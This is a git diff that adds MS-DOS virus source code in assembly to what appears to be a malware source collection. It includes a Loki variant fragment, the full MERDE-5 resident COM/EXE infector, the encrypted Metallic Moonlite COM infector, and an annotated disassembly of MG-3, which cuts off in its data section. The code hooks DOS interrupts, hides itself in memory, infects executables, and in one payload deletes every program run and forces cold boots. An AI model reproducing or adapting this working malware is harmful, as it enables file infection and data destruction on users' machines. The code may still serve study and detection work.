ah,43h + mov al,1 + xor cx,cx + call dos_21 + mov ah,3dh + mov al,2 + call dos_21 + jnc okay10 + jmp give_up +okay10: mov cs:[handle],ax + mov bx,ax + mov ah,57h + xor al,al + call dos_21 + mov cs:[date],dx + mov cs:[time],cx + mov al,2 + mov ah,42h + xor dx,dx + xor cx,cx + call dos_21 + jnc okay11 + jmp give_up +okay11: cmp dx,0 + je okay12 + jmp give_up +okay12: mov cs:[file_size],ax + cmp ax,64000 + jb contin1 + call reset_all + jmp give_up +contin1: + cmp ax,1024 + jnb contin2 + call reset_all + jmp give_up +contin2: + sub ax,compare_val + mov dx,ax + xor cx,cx + mov ah,42h + xor al,al + mov bx,cs:[handle] + call dos_21 + mov ah,3fh + push cs + pop ds + mov dx,offset buffer + mov cx,2 + call dos_21 + mov ax,word ptr cs:[buffer] + mov bx,word ptr cs:[offset ending-compare_val] + cmp ax,bx + jne infect_it + call reset_all + jmp give_up +infect_it: + xor cx,cx + xor dx,dx + mov bx,cs:[handle] + mov ax,4200h + call dos_21 + mov ah,3fh + mov cx,5 + push cs + pop ds + mov dx,offset five_bytes + call dos_21 + mov ax,4202h + xor cx,cx + xor dx,dx + call dos_21 + mov ax,cs:[file_size] + add ax,100h + mov word ptr cs:[jumper+1],ax + mov ah,40h + mov cx,offset ending-100h + mov dx,0100h + call dos_21 + xor cx,cx + xor dx,dx + mov ax,4200h + mov bx,cs:[handle] + call dos_21 + mov dx,offset jumper + mov ah,40h + mov cx,5 + call dos_21 + call reset_all +give_up: + mov ah,50h + mov bx,cs:[high_file] + call dos_21 +give_up1: + pop ds + pop es + pop bp + pop si + pop di + pop es + pop dx + pop cx + pop bx + pop ax + jmp continue_21 +continue_21: + jmp dword ptr cs:[int_21_saveo] +dos_21: + pushf + call dword ptr cs:[int_21_saveo] + ret + +reset_all: + mov bx,cs:[handle] + mov cx,cs:[time] + mov dx,cs:[date] + mov ax,5701h + call dos_21 + mov ah,3eh + mov bx,cs:[handle] + call dos_21 + mov ah,43h + mov al,1 + mov cx,cs:[attrib] + mov ds,cs:[high_file] + mov dx,cs:[low_file] + call dos_21 + ret +my_71: + mov ax,9999h + iret +dw 44 dup(00) +my_stack: +jumper: mov bx,0000 + jmp bx +file_size dw 0000 +high_file dw 0000 +low_file dw 0000 +handle dw 0000 +attrib dw 0000 +date dw 0000 +time dw 0000 +int_21_saveo dw 0000 +int_21_saves dw 0000 +orig_stackp dw 0000 +my_stack_save dw 0000 +high_ram dw 0000 +low_ram dw 0000 +my_segment dw 0000 +buffer: db 10 dup(00) +five_bytes: db 0cdh,20h,90h,90h,90h +my_little_message_to_the_world: + + db 'Scan me, I LIKE IT!!!!-Loki-nator!' +ending: +Code_seg ENDS +END start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.merde-5.asm b/MSDOS/Virus.MSDOS.Unknown.merde-5.asm new file mode 100644 index 00000000..54030d72 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.merde-5.asm @@ -0,0 +1,613 @@ +; Okay, here is my newest version.. It now +; offers EXE infection. I messed up command.com +; compatibility so this version won't infect it. +; Also, this version might be a little shakey, +; but it should work okay with most setups +; (I'm not professional yet, so screw 'em +; if this hangs!).. +; This will be the last time I release code for +; my virii. Thanks to firststrike, and anyone else +; who has given me tips..... +; Be careful not to get this, it is kinda hard to get rid +; of (it would be REALLY hard to get rid of if it infected +;command.com- I will have to fix that (along with the TERRIBLE +; inefficiency in my interrupt handler (the loader is OKAY, but +; My_21 is just kind of a jumble of code thrown together for now. +; If you want to vaccinate your system, and you know a little about +; assembler, it isn't that hard. (I gave the come version to +; myself about 3 times). Just take notice of my use of interrupt +; 71...(This will be changed in future versions, for obvious reasons). +; MERDE-5 The merde virus version 5.0- loki + + +compare_val equ 850 +interrupt equ 21h +Code_seg Segment Byte + Assume DS:Code_seg, CS:Code_seg + ORG 100h + +start: call get_ip + +exe_or_com: + dw 'CO' +get_ip: + pop di + sub di,3 + cmp word ptr cs:[di+3],'EX' + jne com_memory_loader + jmp exe_memory_loader + +;Load memory from within an EXE file.. +;------------------------------------------------------------------------------ +exe_memory_loader: + call check_for_int_71 + jc go + call get_memory ;es=my_segment + jnc aaaa + jmp exit_exe +aaaa: + call hide_memory + call set_int_71 + call save_21 + push ds + call move_all_code + pop ds + mov bx,es + call set_21 +go: jmp exit_exe + +;------------------------------------------------------------------------------ +;****************************************************************************** +;------------------------------------------------------------------------------ +;load memory from a COM file... + +com_memory_loader: + call restore_com + call check_for_int_71 + jc go_1 + call get_memory + jnc bbbb + jmp exit_com + +bbbb: call hide_memory + +reset_di: + call set_int_71 + call save_21 + call move_all_code + mov bx,es + call set_21 +go_1: jmp exit_com + +;------------------------------------------------------------------------------ +;Returns ES with my segment (or an error) +;------------------------------------------------------------------------------ +get_memory: + int 12h + mov bx,cs + mov cx,1024 + mul cx + clc + mov cx,600h ;Amount of needed memory + sub ax,cx + sbb dx,0000 ;dx:ax=where we want this mem to end! + mov bx,dx + mov bp,ax ;save this... + mov cx,cs + mov ax,0010h + mul cx + clc + mov cx,di + add cx,offset ending-100h + add ax,cx + adc dx,0000 + clc + sub bp,ax + sbb bx,dx + clc + mov ax,bp + mov dx,bx + mov cx,0010h + div cx ;dx:ax=memory above this-divide it by 16 + mov bx,ax + mov ah,4ah + int 21h + jc get_memory_error + mov bx,60 + mov ah,48h + int 21h + jc get_memory_error + mov es,ax + clc + ret +get_memory_error: + stc + ret +;------------------------------------------------------------------------------ +;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files) +;------------------------------------------------------------------------------ +move_all_code: +;move PSP************************** + push di + xor si,si + xor di,di + mov cx,100h + rep movsb +;********************************** +;move my code********************** + pop si + push si + push cs + pop ds + mov cx,offset ending-100h + rep movsb + pop di + ret +;********************************** +;------------------------------------------------------------------------------ +;------------------------------------------------------------------------------ +;saves interrupt 21 in cs:[int_21_saveo] +save_21: + push es + xor ax,ax + mov es,ax + mov ax,es:[interrupt*4] + mov bx,es:[interrupt*4+2] + mov cs:[di+offset int_21_saveo-100h],ax + mov cs:[di+offset int_21_saves-100h],bx + pop es + ret + +;----------------------------------------------------------------------------- +;sets interrupt 21 to bx:offset of my_21 +set_21: + push es + xor ax,ax + mov es,ax + mov es:[interrupt*4],offset my_21 + mov es:[interrupt*4+2],bx + pop es + ret +;----------------------------------------------------------------------------- +;----------------------------------------------------------------------------- +;Restores a COM file +restore_com: + push di + mov si,di + add si,offset three_bytes-100h + mov di,0100h + mov cx,3 + rep movsb + pop di + ret +;------------------------------------------------------------------------------ +;Hides my segment's (es) size and owner +hide_memory: + push ds + xor cx,cx + mov ds,cx + mov cx,ds:[2eh*4+2] + pop ds + push ds + mov dx,es + dec dx + mov ds,dx + mov ds:[1],cx ;maybe later set to DOS seg + mov byte ptr ds:[0],'Z' + mov word ptr ds:[3],0000 + mov es:[16h],cx + mov es:[0ah],cx + mov es:[0ch],cx + pop ds + ret +;------------------------------------------------------------------------------ + +;check_for_int 71- My little multiplex interrupt +check_for_int_71: + int 71h + cmp ax,9999h + je set_c + clc + ret +set_c: + stc + ret +;------------------------------------------------------------------------------ + +;Set interrupt 71: +set_int_71: + push ds + xor ax,ax + mov ds,ax + mov ds:[71h*4+2],es + mov ds:[71h*4],offset my_71 + pop ds + ret + + +exit_com: + xor cx,cx + xor dx,dx + xor ax,ax + xor bx,bx + xor si,si + xor di,di + mov ax,100h + jmp ax + +exit_exe: + push ds + pop es + mov ax,es + add ax,10h + add word ptr cs:[di+offset orig_cs-100h],ax + cli + add ax,word ptr cs:[di+offset orig_ss-100h] + mov ss,ax + mov sp,word ptr cs:[di+offset orig_sp-100h] + sti + jmp dword ptr cs:[di+offset orig_ip-100h] + +;------------------------------------------------------------------ +my_21: + cmp ah,4bh + je okay_go + cmp ah,0fh + je okay_go + cmp ah,3dh + je okay_go + cmp ah,43h + je okay_go + jmp continue_21 +okay_go: + push ax + push bx + push cx + push dx + push es + push di + push si + push bp + push es + push ds +check_for_com: + xor si,si + mov bx,dx +looper: + cmp word ptr ds:[bx+si],'c.' + je check_om + cmp word ptr ds:[bx+si],'C.' + je check_om + cmp word ptr ds:[bx+si],'e.' + je check_ex + cmp word ptr ds:[bx+si],'E.' + je check_ex + inc si + cmp si,40 + jne looper + jmp give_up1 +check_om: + cmp word ptr ds:[bx+si+2],'mo' + jne bb + mov cs:[com_or_exe],0 + jmp check_for_infection +bb: cmp word ptr ds:[bx+si+2],'MO' + jne cc + mov cs:[com_or_exe],0 + jmp check_for_infection +cc: jmp give_up1 +check_ex: + cmp word ptr ds:[bx+si+2],'ex' + jne label1 + mov cs:[com_or_exe],1234h + jmp okay_do +label1: + cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!! + je cccc ;forget exe for now.. + jmp give_up1 +cccc: + mov cs:[com_or_exe],1234h + jmp okay_do +check_for_infection: + cmp word ptr [bx+si-2],'DN' + jne okey_k + jmp give_up1 +okey_k: + cmp word ptr [bx+si-2],'DN' + jne okay_do + jmp give_up1 +okay_do: + mov cs:[storage_1],ds + mov cs:[storage_2],dx + mov ah,50h ;set PSP to ours + push cs + pop bx + call dos_21 + mov ah,43h + xor al,al + call dos_21 + jnc okay9 + jmp give_up +okay9: mov cs:[attrib],cx + mov ah,43h + mov al,1 + xor cx,cx + call dos_21 + mov ah,3dh + mov al,2 + call dos_21 + jnc okay10 + jmp give_up +okay10: mov cs:[handle],ax + mov bx,ax + mov ah,57h + xor al,al + call dos_21 + mov cs:[date],dx + mov cs:[time],cx + mov ax,4202h + xor dx,dx + xor cx,cx + call dos_21 + jnc okay11 + jmp give_up +okay11: mov cs:[file_size],ax + cmp cs:[com_or_exe],1234h + jne okey_p + sub ax,compare_val + sbb dx,0000 + mov cx,dx + mov dx,ax + jmp contin2 +okey_p: xor cx,cx + cmp ax,63000 + jb contin1 + call reset_all + jmp give_up +contin1: + cmp ax,600 + jnb continx + call reset_all + jmp give_up +continx: + sub ax,compare_val + mov dx,ax + xor cx,cx +contin2: + mov ax,4200h + mov bx,cs:[handle] + call dos_21 + mov ah,3fh + push cs + pop ds + mov dx,offset buffer + mov cx,2 + call dos_21 + mov ax,word ptr cs:[buffer] + mov bx,word ptr cs:[offset dont_write-compare_val] + cmp ax,bx + jne dddd + jmp give_up +dddd: + cmp cs:[com_or_exe],1234h + je infect_exe + jmp infect_com + +infect_exe: + mov bx,cs:[handle] + xor dx,dx + xor cx,cx + mov ax,4200h + call dos_21 + push cs + pop ds + mov ah,3fh + mov cx,18h + mov dx,offset header + call dos_21 + cmp word ptr [header+8],1000h + jb okayh + call reset_all + jmp give_up +okayh: mov ax,word ptr [header+16h] + mov orig_cs,ax + mov ax,word ptr [header+14h] + mov orig_ip,ax + mov ax,word ptr [header+0eh] + mov orig_ss,ax + mov ax,word ptr [header+10h] + mov orig_sp,ax + mov ax,4202h + mov bx,handle + xor cx,cx + xor dx,dx + call dos_21 + mov word ptr ds:[exe_or_com],'EX' + mov high_size,dx + mov low_size,ax + mov real_hsize,dx + mov real_lsize,ax + mov ax,word ptr [header+8] + mov cx,10h + mul cx + clc + sub low_size,ax ;high_size:low_size=load size + sbb high_size,dx + clc + mov dx,high_size + mov ax,low_size + mov cx,0010h + div cx + cmp dx,0 + je okay + mov cx,16 + sub cx,dx + mov bp,cx + add real_lsize,bp + adc real_hsize,0000 + clc + stc + adc ax,0000 + jmp okay1 +okay: xor bp,bp +okay1: xor dx,dx + mov word ptr [header+16h],ax + ;add to dx? + mov word ptr [header+14h],dx + mov word ptr [header+0eh],ax + mov dx,0fffeh + mov word ptr [header+10h],dx + mov dx,real_hsize + mov ax,real_lsize + add ax,offset ending-100h+1 + adc dx,0000 + push ax + mov cl,9 + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + mov word ptr [header+4],dx + mov word ptr [header+2],ax + mov ah,40h + mov bx,handle + mov cx,offset dont_write-100h + add cx,bp + mov dx,100h + sub dx,bp + call dos_21 + mov ax,4200h + xor cx,cx + xor dx,dx + mov bx,handle + call dos_21 + mov ah,40h + mov bx,handle + mov cx,18h + mov dx,offset header + call dos_21 + call reset_all + jmp give_up + +infect_com: + xor cx,cx + xor dx,dx + mov bx,cs:[handle] + mov ax,4200h + call dos_21 + mov ah,3fh + mov cx,3 + push cs + pop ds + mov dx,offset three_bytes + call dos_21 + mov ax,cs:[file_size] + sub ax,3 + mov word ptr cs:[jumper+1],ax + mov word ptr cs:[exe_or_com],'CO' + call write_to_end + xor cx,cx + xor dx,dx + mov ax,4200h + mov bx,cs:[handle] + call dos_21 + mov dx,offset jumper + mov ah,40h + mov cx,3 + call dos_21 + call reset_all +give_up: + mov ah,50h + mov bx,cs:[storage_1] + call dos_21 +give_up1: + pop ds + pop es + pop bp + pop si + pop di + pop es + pop dx + pop cx + pop bx + pop ax + jmp continue_21 +continue_21: + jmp dword ptr cs:[int_21_saveo] +dos_21: + pushf + call dword ptr cs:[int_21_saveo] + ret + +reset_all: + mov bx,cs:[handle] + mov cx,cs:[time] + mov dx,cs:[date] + mov ax,5701h + call dos_21 + mov ah,3eh + mov bx,cs:[handle] + call dos_21 + mov ah,43h + mov al,1 + mov cx,cs:[attrib] + mov ds,cs:[storage_1] + mov dx,cs:[storage_2] + call dos_21 + ret + +write_to_end: + + mov ax,4202h + xor dx,dx + xor cx,cx + mov bx,cs:[handle] + call dos_21 + mov ah,40h + mov cx,offset dont_write-100h + push cs + pop ds + mov dx,0100h + call dos_21 + ret +my_71: + mov ax,9999h + iret + + +jumper: + db 0e9h,00,00 +storage_1 dw 0000 +storage_2 dw 0000 +int_21_saveo dw 0000 +int_21_saves dw 0000 +three_bytes: db 0cdh,20h,90h +db 'Loki' +orig_ip dw 0000 +orig_cs dw 0000 +orig_ss dw 0000 +orig_sp dw 0000 +dont_write: + +header: + db 24 dup(00) +com_or_exe dw 1234h +handle dw 0000 +file_size dw 0000 +attrib dw 0000 +date dw 0000 +time dw 0000 +buffer: dw 0000 +loader_high dw 0000 +loader_low dw 0000 +header_cs dw 0000 +header_ip dw 0000 +low_size dw 0000 +high_size dw 0000 +real_hsize dw 0000 +real_lsize dw 0000 +ending: +Code_seg ENDS +END start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.met-moon.asm b/MSDOS/Virus.MSDOS.Unknown.met-moon.asm new file mode 100644 index 00000000..63b8324b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.met-moon.asm @@ -0,0 +1,244 @@ +; Virusname : Metallic Moonlite +; Virusauthor: Metal Militia +; Virusgroup : Immortal Riot +; Origin : Sweden +; +; It's a non-resident, current dir infector of com-files. every first +; of any month it will put a bit of code resident to make ctrl-alt-del's +; to coldboots and delete all files being executed. It's encrypted with +; an XOR-loop. If it's not the first it will simple make a screen-clear. +; Um!.. well, enjoy Insane Reality issue #4! +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; METALLIC MOONLITE +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +.model tiny +.code +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + org 100h +begin: +dummy_host db 0e9h,00h,00h ; the jmp code +virus_start: + mov bp,0000h ; the delta offset + + call encrypt_decrypt ; call to unencrypt + jmp restore_old_bytes ; restore old first bytes + +write_virus: + call encrypt_decrypt ; call encryption routine + + lea dx,[bp+virus_start] ; from 100h (start) + mov cx,heap-virus_start ; viruslength + mov ah,40h ; write it + int 21h + + call encrypt_decrypt ; once again, encryption routine + ; being called + ret ; ret(urn) to "caller" + + enc_val dw 0 ; encryption value storage + +encrypt_decrypt: + mov dx,word ptr [bp+enc_val] ; the encryption routine + lea si,[bp+restore_old_bytes] + mov cx,(heap_end-virus_start+1)/2 +again: + xor word ptr [si],dx ; a simple XOR thang + inc si ; but gaak!, so effective + inc si + loop again + ret + +restore_old_bytes: + mov di,0100h + lea si,[bp+old_bytes] ; restore old first bytes + movsw + movsb + + lea dx,[bp+new_dta] ; DTA's place + mov ah,1Ah ; set it + int 21h + + lea dx,[bp+com_mask] ; file(s) to find + mov cx,0002h ; hidden/normal attributes + mov ah,4eh ; find first file +find_next: + int 21h + jnc check_file ; found one? if so, check it + jmp bye_bye ; no uninfected files found, + ; outa here +check_file: + mov ax,word ptr [bp+file_time] ; get time of file + and al,00011111b ; mask seconds field + cmp al,00010101b ; check for previous infection + je try_again ; is it infected? so, try another + jmp replicate ; not infected yet, kick it + +try_again: + mov ah,4fh ; find next file + jmp short find_next ; so, do that + +replicate: + lea dx,[bp+file_name] + sub cx,cx + mov ax,4301h ; set attributes + int 21h + + lea dx,[bp+file_name] ; open file + mov ax,3d02h ; read/write access + int 21h + xchg ax,bx ; mov bx,ax + + mov ah,3fh ; read bytes + mov cx,03h ; 3 of them + lea dx,[bp+old_bytes] ; save them in the buffer (old_bytes) + int 21h + + cwd + sub cx,cx + mov ax,4202h ; move file pointer to EOF + int 21h + + sub ax,03h ; 3 bytes + mov word ptr [bp+virus_start+1],ax ; from start + mov word ptr [bp+new_bytes+1],ax ; our jmp code + + mov ah,2ch ; get time + int 21h + mov word ptr [bp+enc_val],dx ; put as encryption value + call write_virus ; write our code (*.*) + + cwd + sub cx,cx + mov ax,4200h ; move file pointer to SOF + int 21h + + lea dx,[bp+new_bytes] ; write our jmp code at beginning + mov cx,03h ; 3 bytes long + mov ah,40h ; kick it + int 21h + + mov dx,word ptr [bp+file_date] + mov cx,word ptr [bp+file_time] + and cl,11100000b + or cl,00010101b + mov ax,5701h ; restore date and time + int 21h ; and mask seconds to show + ; it's infected + mov ah,3eh ; close file + int 21h + + lea dx,[bp+file_name] + sub cx,cx + mov cl,byte ptr [bp+file_attr] + mov ax,4301h ; restore the original attributes + int 21h + + jmp try_again ; try to find another file + +bye_bye: + mov ah,2ah ; get date + int 21h + cmp dl,1 ; the first of any month? + je print_it ; if so, deletion time + jmp nofuckup ; else, quit +print_it: + mov ah,9h ; print note + lea dx,[bp+offset printfake] ; faked thing + int 21h + + jmp resident ; go resident + +int_9_entry proc far + push ax + in al,60h + cmp al,delcode ; ctrl-alt-del? + je warmboot ; if so, boot + pop ax + jmp cs:Old_9 ; let them use the old one +warmboot: + db 0eah,00h,00h,0ffh,0ffh ; no warmboot, but a coldboot + iret ; i wonder if they will notice +int_9_entry endp ; thatone (?) + +int_21h_entry proc far + cmp ax,4b00h ; are they running a file? + jne go_on ; if not, check other thang + mov ah,41h ; delete it + int 21h +go_on: + cmp ax,4B9Fh ; is another copy trying to go resident? + je loc_0111 ; if so, show that we're here already + jmp cs:Old_21 ; else, let them use old int21 +loc_0111: + mov ax,1994h ; 1994, our TSR mark here + iret ; to show that one copy's already eating memory +int_21h_entry endp +en: + +resident: + mov ax,3509h ; hook int9 (to read keyboard) + int 21h + + mov word ptr cs:Old_9,bx ; save the old one here + mov word ptr cs:Old_9+2,es + mov ax,2509h + mov dx,offset int_9_entry ; and use ours instead + int 21h + + mov ax,3521h ; hook int21 too (for filedeletion) + int 21h + + mov word ptr cs:Old_21,bx ; save old int21 here + mov word ptr cs:Old_21+2,es + mov ax,2521h + mov dx,offset int_21h_entry ; and let ours be used instead + int 21h + + mov dx,offset en ; what to put resident + int 27h ; do it + +nofuckup: +; mov ah,0fh ; remove the first ";" +; int 10h ; and a screen-clear +; mov ah,0 ; will occure every +; int 10h ; execution. + + +restore_it_all: + jmp restore_dir ; restore everything + +restore_dir: + mov ah,1ah ; restore DTA + mov dx,80h ; right now + int 21h + + mov ax,0100h ; set ax to start + push ax ; push it + retn ; back to original program + +virusname db 'Metallic Moonlite' ; virus name +copyright db '(c) Metal Militia/Immortal Riot' ; virus author +greetings db 'Greetings to The Unforgiven/IR' +printfake db 'Bad command or filename$' + +com_mask db '*.com',0 ; files to infect, .com(mand) +old_bytes db 0cdh,20h,90h ; old jmp saved here +new_bytes db 0e9h,00h,00h ; new jmp code here +delcode equ 53h ; ctrl-alt-del code(s) + +heap: +old_9 dd 0 ; save's old int9 here +old_21 dd 0 ; save's old int21 aswell +new_dta db 21 dup(?) ; the new DTA +file_attr db ? ; files attributes +file_time dw ? ; files time +file_date dw ? ; files date +file_size dd ? ; files size +file_name db 13 dup(?) ; files name +old_attrs db 5 dup(?) ; files old attributes +heap_end: ; eov (end of virus) +cseg ends + end begin \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mg-3.asm b/MSDOS/Virus.MSDOS.Unknown.mg-3.asm new file mode 100644 index 00000000..a8cf4c9d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mg-3.asm @@ -0,0 +1,338 @@ + page ,132 +; +; name: mg-3.vom +; +; program type: com/bin +; +; cpu type: 8086 +; +; program loaded at 0000:01f8 +; +; physical eof at 0000:03f5 +; +; program entry point at 0000:01f8 +; +fun segment +assume cs:fun,ds:fun,es:fun,ss:fun +; +; references before the start of code space +; + org 0006h +h_0006 label word + org 004ch +h_004c label word + org 004eh +h_004e label word + org 0090h +h_0090 label word + org 0092h +h_0092 label word +; +; data references to code space addresses +; +; org 0339h +;h_0339 label byte +; +; start of program +; + org 01f8h +h_01f8: + call h_0204 ;goto virus + nop + mov ax,4c00h + int 21h ;terminate program +; +h_0201 db 0ebh,02h,90h ;saved_prog_start +h_0204: + xchg ax,dx ;save ax + pop di ;get return address + dec di ;back by 2 + dec di ;to CALL ofs + mov si,[di] ;get call ofs + dec di ;back 1 to start of program + add si,di ;call ofs plus prog start + ;= saved_prog_start + push cs ;save cs + push di ;and di for program start + cld ;up! + movsw ;replace 1st word + movsb ;and 3rd byte of program + mov ax,4b04h ;fn = virus ID + int 21h ;call DOS + jae h_027f ;OK (installed), skip this + xor ax,ax ;get a 0 + mov es,ax ;address INT seg + mov di,0204h ;es:di = new virus home + mov cx,offset h_03f5-h_0204 ;virus size (01f1h) + repz movsb ;copy virus to low mem + les di,[0006h] ;get seg:ofs of CPMtype doscall + mov al,0eah ;JMPF instruction + dec cx ;cx = 0FFFFh + repnz scasb ;find JMPF + les di,es:[di] ;get seg:ofs to DOS + sub di,-21h ;up to ?? + jmp 0000h:0239h ;goto virus in low memory +h_0239: + push es ;DOS seg + pop ds ;to ds + mov si,[di-04h] ;get ptr to max_dos_fn + lodsb ;get that byte + cmp al,68h ;at least 68? + mov [di-03h],al ;set immediate compare value + mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction + mov word ptr [di-07h],0fccdh ;INT 0FCH instruction + push cs ;current segment + pop ds ;to ds + mov [03fch],di ;set INT FF ofs to DOS entry + mov [03feh],es ;and INT FF seg to DOS entry + ;BUG: need to have INT FF point to the + ; CMP AH,xx instruction they + ; have set up!!! + mov byte ptr [h_0339],0ah ;set dosver_skip + jnae h_026e ;not DOS 3.3+, skip this + mov byte ptr [h_0339],00h ;reset dosver_skip + mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector + mov [h_07b6],cs ;and seg of saved INT 13 vector + ;in IBMBIO.COM + ;NOTE: How stable are these locations?!?!?! +h_026e: + mov al,0a9h ;TEST AX,xxxx instruction +h_0270: + repnz scasb ;find it + cmp word ptr es:[di],-28h ;immediate value = 0FFD8h? + ;NOTE: test for illegal flag values + jnz h_0270 ;no, try again + mov al,18h ;new immediate value: 0FF18h + ;NOTE: remove "our" flag from illegal values + stosb ;modify test instr + push ss ;copy PSP seg + pop ds ;to ds + push ss ;and again + pop es ;to es +h_027f: + xchg ax,dx ;get original AX back + retf ;and execute infected program +; +; intfchere +; +h_0281: + push ax ;save regs + push dx + push ds + push cx + push bx + push es + cmp ax,4b04h ;fn = virus ID? + jz h_02ad ;yes, cleanup and exit NC + xchg ax,cx ;save ax + mov ah,2fh ;fn = get DTA + int 0ffh ;call DOS + cmp ch,11h ;fn = FCB find first? + jz h_029b ;yes, stop here + cmp ch,12h ;fn = FCB find next? + jnz h_02b4 ;no, skip this +h_029b: + xchg ax,cx ;get fn back + int 0ffh ;call to DOS + push ax ;save return code + test byte ptr es:[bx+13h],0c0h ;check our attribute bits + jz h_02ac ;not set, skip this + sub word ptr es:[bx+24h],offset h_03f5-h_0201 + ;update filesize to hide virus (01f4h) +h_02ac: + pop ax ;restore regs +h_02ad: + pop es + pop bx + pop cx + add sp,+0ch ;cleanup stack + iret ;and return to caller + ;BUG: Should preserve returned flags! +h_02b4: + mov ah,19h ;fn = get current disk + int 0ffh ;call to DOS + push ax ;save disk + cmp ch,36h ;fn = get disk free space? + jz h_02e9 ;yes, stop here + cmp ch,4eh ;fn = find first? + jz h_02e0 ;yes, stop here + cmp ch,4bh ;fn = load/execute? + jz h_02e0 ;yes, stop here + cmp ch,47h ;fn = get current dir? + jnz h_02d1 ;no, skip this + cmp al,02h ;drive >= C:? + jae h_02ee ;yes, stop here +h_02d1: + cmp ch,5bh ;fn = create new file? + jz h_02e0 ;yes, stop here + shr ch,1 ;fn / 2 + cmp ch,1eh ;fn = 3C or 3D? + ;create file or open file? + jz h_02e0 ;yes, stop here + jmp h_03bb ;else continue DOS call +h_02e0: + mov ax,121ah ;fn = get file's drive + xchg si,dx ;ds:si = filename + int 2fh ;multiplex interrupt + xchg ax,dx ;ax = old si, dx = drive + xchg ax,si ;old si to si +h_02e9: + mov ah,0eh ;fn = set current disk + dec dx ;drive A: = 0, B: = 2, etc + int 0ffh ;call to DOS +h_02ee: + push es ;save dta seg + push bx ;and dta ofs + sub sp,+2ch ;allocate locals + mov dx,sp ;get ptr to local DTA + push sp ;save ptr to local DTA + mov ah,1ah ;fn = set DTA + push ss ;stack segment + pop ds ;is DTA seg + int 0ffh ;call to DOS + mov bx,dx ;bx = ptr to DTA + push cs ;current segment + pop ds ;to ds + mov ah,4eh ;fn = find first matching file + mov dx,offset h_03e9 ;ds:dx = wildcard_com + mov cx,0003h ;attributes = HIDDEN, Read-Only + int 0ffh ;call to DOS + jnae h_0319 ;error, cleanup and exit +h_030c: + test byte ptr ss:[bx+15h],80h ;our attribute set? + jz h_031c ;no, continue + ;BUG: If it will re-infect a file with the + ; MG-2 attribute set, then the above + ; size change mask will FAIL! +h_0313: + mov ah,4fh ;fn = find next matching file + int 0ffh ;call to DOS + jae h_030c ;OK, check out this file +h_0319: + jmp h_03b2 ;cleanup and exit +h_031c: + cmp byte ptr ss:[bx+1bh],0fdh ;file too big? + ja h_0313 ;yes, try next file + mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs + mov [0092h],cs ;and INT24HERE seg + ;NOTE: The original values are NOT saved! + les ax,[004ch] ;get INT 13 vector + mov [h_03f7],ax ;save oldint13ofs + mov [h_03f9],es ;and oldint13seg +h_0339 equ $+1 ;dosver_skip + jmp short h_033a ;if not DOS 3.3+, skip this +h_033a: + mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2 + mov [004eh],cs ;and new INT 13 seg, too +; +; dosver_skip comes here +; + push ss ;DTA seg + pop ds ;to ds + push word ptr [bx+16h] ;save file time + push word ptr [bx+18h] ;and file date + push word ptr [bx+15h] ;and file attributes + lea dx,[bx+1eh] ;ds:dx = name found in DTA + mov ax,4301h ;fn = set file attributes + pop cx ;get file attributes + and cx,00feh ;high byte, R/O bit off + or cl,0c0h ;set our attributes + int 0ffh ;call to DOS + mov ax,3d02h ;fn = open file for read/write + int 0ffh ;call to DOS + xchg ax,bx ;handle to bx + push cs ;current segment + pop ds ;to ds + mov ah,3fh ;fn = read file + mov cx,0003h ;size of saved_prog_start + mov dx,offset h_0201 ;ds:dx = saved_prog_start + int 0ffh ;call to DOS + mov ax,4202h ;fn = lseek to EOF+CX:DX + xor dx,dx ;cx:dx = 0 + mov cx,dx + int 0ffh ;call to DOS + mov [h_03f5],ax ;save virus_call_ofs + mov ah,40h ;fn = write to file + mov cx,offset h_03f5-h_0201 ;virus size (01f4h) + mov dx,offset h_0201 ;ds:dx = this virus + int 0ffh ;call to DOS + jnae h_039c ;error, cleanup and quit + mov ax,4200h ;fn = lseek to BOF+CX:DX + xor dx,dx ;cx:dx = 0 + mov cx,dx + int 0ffh ;call to DOS + mov ah,40h ;fn = write to file + mov cx,0003h ;size of virus_call + mov dx,offset h_03f4 ;ds:dx = virus_call + int 0ffh ;call to DOS +h_039c: + mov ax,5701h ;fn = set file time/date + pop dx ;restore file date + pop cx ;and file time + int 0ffh ;call to DOS + mov ah,3eh ;fn = close file + int 0ffh ;call to DOS + les ax,[h_03f7] ;get oldint13 + mov [004ch],ax ;restore INT 13 ofs + mov [004eh],es ;and INT 13 seg +h_03b2: + add sp,+2eh ;clean stuff off stack + pop dx ;restore old DTA ofs + pop ds ;and old DTA seg + mov ah,1ah ;fn = set DTA + int 0ffh ;call to DOS +h_03bb: + pop dx ;get default drive back + mov ah,0eh ;fn = set current drive + int 0ffh ;call to DOS + pop es ;restore regs + pop bx + pop cx + pop ds + pop dx + pop ax + iret ;continue INT 21 +; +; int24here +; +h_03c7: + mov al,03h ;response = FAIL + iret ;and done +; +; int13here_2 +; +h_03ca: + cmp ah,03h ;fn = write? + jnz h_03d6 ;no, skip this + inc byte ptr cs:[h_03ef] ;update ?? + dec ah ;change function to read +h_03d6: + jmp dword ptr cs:[h_03f7] ;and continue INT 13 +; +; int13here +; +h_03db: + shr byte ptr cs:[h_03ef],1 ;update ?? + jae h_03e4 ;yes, skip this + inc ah ;change function + ;i.e. read changes to write, etc! +h_03e4: + jmp dword ptr cs:[h_07b0] ;continue INT 13 +; +h_03e9 db "* .COM" ;wildcard_com +h_03ef db 00h + ;NOTE: location of following data CANNOT change! +h_03f0 dw h_0281,0000h ;INT 0FCH vector! +h_03f4 db 